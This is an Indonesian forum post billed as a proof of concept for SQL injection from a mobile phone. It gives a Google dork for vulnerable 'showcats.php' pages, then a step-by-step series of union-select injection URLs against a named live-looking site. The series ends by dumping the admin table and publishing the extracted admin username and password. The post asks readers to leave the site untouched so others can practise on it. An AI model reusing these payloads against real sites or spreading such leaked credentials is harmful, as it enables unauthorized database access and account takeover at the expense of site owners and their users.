[poc] SQLI menggunakan handphone.

mungkin ini aga terasa aneh, bahkan terasa asing untuk didengar.

Oke deh, lanjut....

Sebenernya, sqli menggunakan handphone ga ada bedanya ama sqli dengan menggunakan kompi.

yg menarik dari SQLI via handphone adalah tentang pesan error setelah melakukan pengujian terhadap situs target. Dimana, dengan menggunakan handphone biasanya pesan error tersebut akan terlihat lebih jelas dari pada menggunakan kompi...

O iya, ane lupa........ syarat untuk melakukan sqli menggunakan handphone, kita Harus punya handphone yang mendukung aplikasi opera mini 4.2

Poc nya

Code:

inurl:showcats.php?sbcat_id=

pada poc kali ini ane akan menggunakan dork yang diatas..

inget, smua dork google dgn handphone harus di awali dengan huruf kecil..

lanjut

Code:

http://www.top-domains.com/showcats.php?sbcat_id=1

http://www.top-domains.com/showcats.php?sbcat_id=1'

http://www.top-domains.com/showcats.php?sbcat_id=-1+order+by+5--

http://www.top-domains.com/showcats.php?sbcat_id=-1+union+select+1,2,3,4--

http://www.top-domains.com/showcats.php?sbcat_id=-1+union+select+1,version(),3,4--

http://www.top-domains.com/showcats.php?sbcat_id=-1+union+select+1,group_concat(table_name),3,4+from+information_schema.tables+where+table_schema=database()--

http://www.top-domains.com/showcats.php?sbcat_id=-1+union+select+1,group_concat(username,0x3a,password),3,4+from+sblnk_admin--

username: admin
password: apa4773apa

maap, klo ane ga bisa ngejelesin prosesnya secara detail, karna mungkin masalah sqli smuanya udah pada tau...

O iya, hmmm....
Situs target di atas klo bisa jangan diganggu dulu yah....
Biar temen temen kita yang lainya yang masih blom tau masalah sqLI juga bisa belajar...


hmmm, klo tulisan ane aga brantakan mohon di maklumi, secara ane ngepostnya pake handphone.. :

Posted in: